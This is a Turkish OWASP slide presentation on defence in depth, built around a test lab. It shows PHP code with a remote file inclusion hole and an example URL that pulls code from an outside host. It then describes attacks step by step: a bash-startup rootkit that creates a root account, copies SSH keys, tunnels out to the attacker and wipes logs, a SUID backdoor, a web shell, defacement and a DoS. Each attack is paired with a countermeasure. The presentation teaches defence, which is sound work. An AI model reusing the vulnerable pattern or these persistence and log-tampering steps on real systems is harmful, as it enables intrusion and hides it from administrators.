Upload
eleanor-gay
View
35
Download
0
Embed Size (px)
DESCRIPTION
KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ. Tahsin TÜRKÖZ [email protected]. İçerik. Giriş - Katmanlı güvenliğin tanımı Test ortamı tanıtımı Bir PHP açıklığı Saldırılar ve önlemler Sonuç. Tanım. Katmanlı güvenlik (Defence in depth, elastic defence) - PowerPoint PPT Presentation
Citation preview
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP-TR
http://www.owasp.org
KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ
Tahsin TÜRKÖ[email protected]
2OWASP-TR
İçerik
Giriş - Katmanlı güvenliğin tanımı
Test ortamı tanıtımı
Bir PHP açıklığı
Saldırılar ve önlemler
Sonuç
3OWASP-TR
Tanım• Katmanlı güvenlik (Defence in depth, Katmanlı güvenlik (Defence in depth,
elastic defence)elastic defence)– Amerikan savunma bakanlığı kaynaklıAmerikan savunma bakanlığı kaynaklı– Peşpeşe güvenlik mekanizmalarının Peşpeşe güvenlik mekanizmalarının
uygulanmasıuygulanması– Saldırıyı engeleme yerine etkilerini azaltma Saldırıyı engeleme yerine etkilerini azaltma
ya da zayıflatma stratejisiya da zayıflatma stratejisi– Ana fikir: Bir savunma mekanizması devre Ana fikir: Bir savunma mekanizması devre
dışı kaldığında sistemi savunmasız dışı kaldığında sistemi savunmasız bırakmamabırakmama
– Yöntem: Her katman ile saldırganın hareket Yöntem: Her katman ile saldırganın hareket alanını daha da kısıtlamaalanını daha da kısıtlama
– Örnekler: Fiziksel güvenlik, güvenlik duvarı, Örnekler: Fiziksel güvenlik, güvenlik duvarı, saldırı tespit sistemi, şifrelemesaldırı tespit sistemi, şifreleme
4OWASP-TR
Test Ortamı TanıtımıTest Ortamı Tanıtımı
Linux Apache + PHP
Web sunucuSaldırgan
Yönetici
5OWASP-TR
PHP Açıklığı
Uzaktan Kod Çalıştırma (RFI)Problem:
Uzaktan dosya indirmeye ve çalıştırmaya izin veren web uygulama çatıları
Girdi denetimi zayıf uygulamalar
Etkilenen platformlar: PHP (4.0.4 sonrası ve 5.x) Diğer uygulama çatıları (Java, .NET gibi)
6OWASP-TR
Uzaktan Kod Çalıştırma (RFI) Örnek
SUNUCU TARAFIINTERNET
/index.php?lang=tr
<?php … …?>
sonuç
index.php
<?php
$language = $_REQUEST[‘lang’];
include($language.”php”); … …
...?>
tr.php
7OWASP-TR
Uzaktan Kod Çalıştırma (RFI) Örnek
/index.php?lang=http://abc.com/tr.php?
<?php … …?>
http://abc.com/tr.php
sonuç
index.php
<?php
$language = $_REQUEST[‘lang’];
include($language.”php”); … …
?>
SUNUCU TARAFIINTERNET
8OWASP-TR
Saldırı – Önlem Döngü Yapısı
Saldırı Karşı Önlem
Çıkarılacak Dersler
9OWASP-TR
Döngü #1 Saldırganın bakış açısı PHPShell yeterli mi? Saldırganın ihtiyaçları
Kompleks işlemlerin yürütülebileceği bir bağlantı arabirimi
Sunucunun arkasındaki sistemlere erişimYetki seviyesi yüksek bir kullanıcı hesabıKayıt dosyalarının temizlenmesiBağlantıları ele verebilecek komutların
değiştirilme
Çözüm: Rootkit / Trojan enjeksiyonu
10OWASP-TR
Tunnel yapısı
11OWASP-TR
Rootkit / Trojan
/root/.bashrc /etc/bash_login
/root/.bash_logout /etc/bash_logout
/etc/tunnel
/etc/bashrc /etc/bash_logout
/etc/tunnel
netstat last B planı: chmod
12OWASP-TR
/etc/bash_logout
Kayıt dosyalarının yedeğini alır. Sistem yönetici yetkilerine sahip enjoy
kullanıcısını oluşturur. SSH anahtarlarını root kullanıcısının ev
dizinine kopyalar. Saldırganın bilgisayarına doğru SSH tünelini
açar. Kayıt dosyalarını geri kopyalar.
13OWASP-TR
/etc/bash_login
Kayıt dosyalarının yedeğini alır. enjoy kullanıcının ve saldırgan bilgisayarı ile ilgili kayıtları siler.
SSH tünelini ve varsa saldırgana ait aktif bağlantıları koparır.
enjoy kullanıcısını siler. root kullanıcısının ev dizinindeki SSH
anahtarlarını siler. Kayıt dosyalarını geri kopyalar.
14OWASP-TR
Döngü #1
Karşı ÖnlemYetkisiz kullanıcı (nobody) ile koşan apache
Çıkarılacak DersMinimum hak prensibiDışa doğru açık olan bağlantı haklarının
kısıtlanması
15OWASP-TR
Döngü #2
SaldırıB planı olarak düşünülen SUID biti aktife
edilmiş chmod komutunun kullanılması
Karşı ÖnlemSistemi tümüyle yeniden kurmaChroot ile hapishane yapısına geçme
Çıkarılacak DersBaşarılı bir şekilde kırılmış bir sistem yeniden
kurulmalıdır.Minimum hak prensibi için tek katman yetersiz
kalabilir.
16OWASP-TR
ChRoot
17OWASP-TR
Döngü #3
SaldırıRFI açıklığı ile web tabanlı kabuk (shell) açarak;
Web sayfası tahrifatı (defacement)
Karşı ÖnlemAktif bütünlük kontrolcüsü kullanımı - Tripwire
Çıkarılacak DersTüm yönüyle sunucu sıkılaştırması (hardening)Minimum hak prensibi için iki katman yetersiz
kalabilir.
18OWASP-TR
Döngü #4
SaldırıRFI açıklığı ile web tabanlı kabuk (shell) açarak;
Syscall kullanılarak Hizmet Dışı Bırakma saldırısı Kaynak kodu ifşası
Karşı ÖnlemPHP kodunu düzeltme
Çıkarılacak DersAçıklığın kaynağını bulup, önlem alınmasıKatmanlı güvenlik anlayışının önemi
19OWASP-TR
Sonuç
Kurumsal bilgi sistemlerinde bütün açıklıkların farkında olmak ve zamanında gerekli önlemleri almak çok zordur.
Katmanlı güvenlik ile farklı güvenlik mekanizmaları uygulayarak saldırıların etkileri azaltılabilir.
20OWASP-TR
Faydalı Linkler & Sorular
chroot http://www.unixwiz.net/techtips/chroot-practices.html http://www.cgisecurity.com/webservers/apache/chrootapache2-
howto.html
apache güvenliği http://www.securityfocus.com/infocus/1694 http://www.securityfocus.com/infocus/1786 http://www.apachesecurity.net/
modsecurity http://modsecurity.org/
PHP güvenliği http://www.php-security.org/ www.owasp.org
21OWASP-TR
Faydalı Linkler
Unix/rootkit/trojan http://vil.nai.com/vil/Content/v_100721.htm http://www.rootkit.com/ http://www.antirootkit.com
SSH ile tünel http://www.securityfocus.com/infocus/1816 http://www.rzg.mpg.de/networking/tunnelling.html http://www.ccs.neu.edu/howto/howto-sshtunnel.html
Unix güvenliği http://www.cisecurity.org http://www.princeton.edu/~psg/unix/security.html http://www.auscert.org.au/7284